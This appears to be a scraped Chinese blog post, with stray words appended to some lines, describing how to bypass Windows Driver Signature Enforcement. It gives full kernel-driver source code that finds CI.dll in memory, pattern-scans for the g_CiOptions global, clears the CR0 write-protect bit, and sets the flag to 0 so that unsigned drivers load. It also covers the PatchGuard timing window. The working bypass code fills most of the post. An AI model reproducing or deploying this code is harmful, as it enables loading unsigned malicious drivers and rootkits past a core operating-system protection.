內核過DSE驅動簽名驗證.何嘗試(暫不公開)

一丶簡介

如今的驅動,必須都有簽名才能加載.那麼如何加載無簽名的驅動模塊那.
下面能夠說下方法.可是挺尷尬的是,代碼必須在驅動中編寫.因此就造成了
你必須一個驅動帶有一個簽名加載進去.執行你的代碼.pass掉DSE以後之後加載驅動就能夠徹底不用簽名了.安全

原理:
原理就是Path一下CI內核模塊.將一個全局變量置爲0便可.可是受PG保護.不過PG要檢測這個位置不會馬上保護.因此能夠修改完加載完你的無驅動簽名的驅動.而後修改回來便可.測試

全局變量有三個. 0 6 8 0表明禁用 6表明開啓. 8表明能夠加載測試簽名.3d

二丶逆向CI.dll尋找Path位置.

既然上面說了.是修改一個全局變量.那麼打開CI看看修改那個便可.code

結果
blog

雖然提示你須要簽名.可是能夠用PChunter看到.其實已經加載了.ci

一共三個值. 0 6 8 6表明開啓驅動簽名 0表明關閉 8 表明開啓測試驅動簽名it

代碼:io

#include "Driver.h"
#include <wdm.h>

//KLDR_DATA_TABLE_ENTRY

typedef struct _LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;
    PVOID DllBase;
    PVOID EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    ULONG Flags;
    USHORT LoadCount;
    USHORT TlsIndex;
    union {
        LIST_ENTRY HashLinks;
        struct {
            PVOID SectionPointer;
            ULONG CheckSum;
        };
    };
    union {
        struct {
            ULONG TimeDateStamp;
        };
        struct {
            PVOID LoadedImports;
        };
    };
}LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

VOID IteratorModule(PDRIVER_OBJECT pDriverObj)
{
    PLDR_DATA_TABLE_ENTRY pLdr = NULL;
    PLIST_ENTRY pListEntry = NULL;
    PLIST_ENTRY pCurrentListEntry = NULL;

    PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
    pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
    pListEntry = pLdr->InLoadOrderLinks.Flink;
    pCurrentListEntry = pListEntry->Flink;

    while (pCurrentListEntry != pListEntry) //先後不相等
    {
        //獲取LDR_DATA_TABLE_ENTRY結構
        pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

        if (pCurrentModule->BaseDllName.Buffer != 0)
        {
            DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n",
                pCurrentModule->BaseDllName,
                pCurrentModule->DllBase,
                (LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
        }
        pCurrentListEntry = pCurrentListEntry->Flink;
    }
}

LONGLONG GetModuleBaseByName(PDRIVER_OBJECT pDriverObj,UNICODE_STRING ModuleName)
{
    PLDR_DATA_TABLE_ENTRY pLdr = NULL;
    PLIST_ENTRY pListEntry = NULL;
    PLIST_ENTRY pCurrentListEntry = NULL;

    PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
    pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
    pListEntry = pLdr->InLoadOrderLinks.Flink;
    pCurrentListEntry = pListEntry->Flink;

    while (pCurrentListEntry != pListEntry) //先後不相等
    {
        //獲取LDR_DATA_TABLE_ENTRY結構
        pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

        if (pCurrentModule->BaseDllName.Buffer != 0)
        {
            UNICODE_STRING uCmp1 = RTL_CONSTANT_STRING(L"HelloWorld");
            UNICODE_STRING uCmp2 = RTL_CONSTANT_STRING(L"HelloWorld");
            if (RtlCompareUnicodeString(&pCurrentModule->BaseDllName, &ModuleName, TRUE) == 0)
            {
                DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n",
                    pCurrentModule->BaseDllName,
                    pCurrentModule->DllBase,
                    (LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
                return (LONGLONG)pCurrentModule->DllBase;
            }
            
        }
        pCurrentListEntry = pCurrentListEntry->Flink;
    }
    return 0;
}

typedef struct _BASEMANGER
{
    LONGLONG StartBase;
    LONGLONG EndBase;
}BASEMANGER,*PBASEMANGER;

BASEMANGER GetModuleBaseByNames(PDRIVER_OBJECT pDriverObj, UNICODE_STRING ModuleName)
{
    PLDR_DATA_TABLE_ENTRY pLdr = NULL;
    PLIST_ENTRY pListEntry = NULL;
    PLIST_ENTRY pCurrentListEntry = NULL;

    PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
    pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
    pListEntry = pLdr->InLoadOrderLinks.Flink;
    pCurrentListEntry = pListEntry->Flink;
    BASEMANGER BaseManger = { 0 };
    while (pCurrentListEntry != pListEntry) //先後不相等
    {
        //獲取LDR_DATA_TABLE_ENTRY結構
        pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

        if (pCurrentModule->BaseDllName.Buffer != 0)
        {
            UNICODE_STRING uCmp1 = RTL_CONSTANT_STRING(L"HelloWorld");
            UNICODE_STRING uCmp2 = RTL_CONSTANT_STRING(L"HelloWorld");
            if (RtlCompareUnicodeString(&pCurrentModule->BaseDllName, &ModuleName, TRUE) == 0)
            {
                
                DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n",
                    pCurrentModule->BaseDllName,
                    pCurrentModule->DllBase,
                    (LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
                
                BaseManger.StartBase = (LONGLONG)pCurrentModule->DllBase;
                BaseManger.EndBase = (LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage;
                return BaseManger;
            }

        }
        pCurrentListEntry = pCurrentListEntry->Flink;
    }
    BaseManger.StartBase = 0;
    BaseManger.EndBase = 0;
    return BaseManger;
}





//核心實現代碼
DWORD64 g_CiOptionsAddress;
int g_CiOptions = 6;



KIRQL  WPOFFx64()
{
    KIRQL  irql = KeRaiseIrqlToDpcLevel();
    UINT64  cr0 = __readcr0();
    cr0 &= 0xfffffffffffeffff;
    _disable();
    __writecr0(cr0);
    return  irql;
}



KIRQL DisableMemProtected()
{
    KIRQL  irql = KeRaiseIrqlToDpcLevel();
    UINT64  cr0 = __readcr0();
    cr0 &= 0xfffffffffffeffff;
    _disable();
    __writecr0(cr0);
    return  irql;
}

void EnbaleMemProtected(KIRQL irql)
{
    UINT64  cr0 = __readcr0();
    cr0 |= 0x10000;
    _enable();
    __writecr0(cr0);
    KeLowerIrql(irql);
}
BOOLEAN DisableDse(DWORD64 CiStartAddress, DWORD64 CiEndAddress)
{
    UNICODE_STRING FunctionName = RTL_CONSTANT_STRING(L"PsGetCurrentProcess");
    DWORD64 PsGetCurrentProcessAddress = (DWORD64)MmGetSystemRoutineAddress(&FunctionName);
    DWORD64 SerchAddress = CiStartAddress;
    DWORD64 Address;
    KIRQL Myirql;
    int nCount = 0;
    int isFind = 0;
    int i = 0;
    int isRead = 1;
    if (SerchAddress == 0)
    {
        return 0;
    }
    __try
    {
        KIRQL irql = KeRaiseIrqlToDpcLevel();
        while (SerchAddress++)
        {
            if (SerchAddress + 2 > CiEndAddress)
            {
                break;
            }

            isRead = 1;
            for (i = 0; i < 2; i++)
            {
                if (MmIsAddressValid((PDWORD64)SerchAddress + i) == FALSE)
                {
                    isRead = 0;
                    break;
                }
            }

            if (isRead == 1)
            {
                if (*(PUSHORT)(SerchAddress) == 0x15ff)
                {
                    Address = SerchAddress + *(PLONG)(SerchAddress + 2) + 6;
                    if (MmIsAddressValid((PDWORD64)Address))
                    {
                        if (*(PDWORD64)Address == PsGetCurrentProcessAddress)
                        {
                            while (nCount < 100)
                            {
                                nCount++;
                                SerchAddress--;
                                if (*(PUSHORT)(SerchAddress) == 0x0d89)
                                {
                                    isFind = 1;
                                    break;
                                }
                            }
                            break;
                        }
                    }

                }
            }
        }
        KeLowerIrql(irql);
    }
    __except (1)
    {
        DbgPrint("搜索數據失敗!");
    }
    if (isFind == 1)
    {
        //DbgPrint("SerchAddress:%p\n", SerchAddress);
        g_CiOptionsAddress = SerchAddress + *(PLONG)(SerchAddress + 2) + 6;
        g_CiOptions = *(PLONG)g_CiOptionsAddress;
        DbgPrint("地址:%p 初始化值數據:%08X\n", g_CiOptionsAddress, g_CiOptions);
        Myirql = DisableMemProtected();
        *(PLONG)g_CiOptionsAddress = 0; //DisableDse 修改成0便可.
        DbgPrint("地址:%p 修改數據爲:%08X\n", g_CiOptionsAddress, *(PLONG)g_CiOptionsAddress);
        EnbaleMemProtected(Myirql);
        return TRUE;
    }
    else
    {
        DbgPrint("搜索數據失敗!\n");
        return FALSE;
    }
}
void EnbalDse()  //開啓DSE保護
{
    KIRQL Myirql;
    Myirql = DisableMemProtected();
    *(PLONG)g_CiOptionsAddress = 6; //DisableDse 修改成6便可.
    DbgPrint("開啓簽名驗證成功.值修改成 %d \r\n", *(PLONG)g_CiOptionsAddress);
    EnbaleMemProtected(Myirql);
    
}



NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegPath)
{
    ULONG iCount = 0;
    NTSTATUS ntStatus;
    UNICODE_STRING uModuleName;
    BASEMANGER Base = { 0 };
    RtlInitUnicodeString(&uModuleName, L"CI.dll");
    pDriverObj->DriverUnload = DriverUnLoad;

    Base = GetModuleBaseByNames(pDriverObj, uModuleName);
    if (Base.StartBase != 0 && Base.EndBase != 0)
    {
        DisableDse(Base.StartBase, Base.EndBase);//傳入CI基址 CICiEndAddress
        //EnbalDse();                            //關閉DSE
    }

    
    
    
    return STATUS_SUCCESS;
}

ps: 文章是原創.可是核心原理是參考了一個看流星論壇的一個大佬的。本身將它的代碼拷貝了下來稍微改了改。加了遍歷模塊代碼而已。
原理就是Path CI. 大佬的代碼就是尋找特徵定位全局變量。既然知道原理了。那麼定位的話就抄一下了。
另外一篇文章是參考了 安全客的一個漏洞文章。如今找不到了。另外一篇所講的是 標誌有三種 0 6 8 0是禁用 6是開啓 8是啓動測試簽名。因此在這裏直接使用了。變量

相關文章
相關標籤/搜索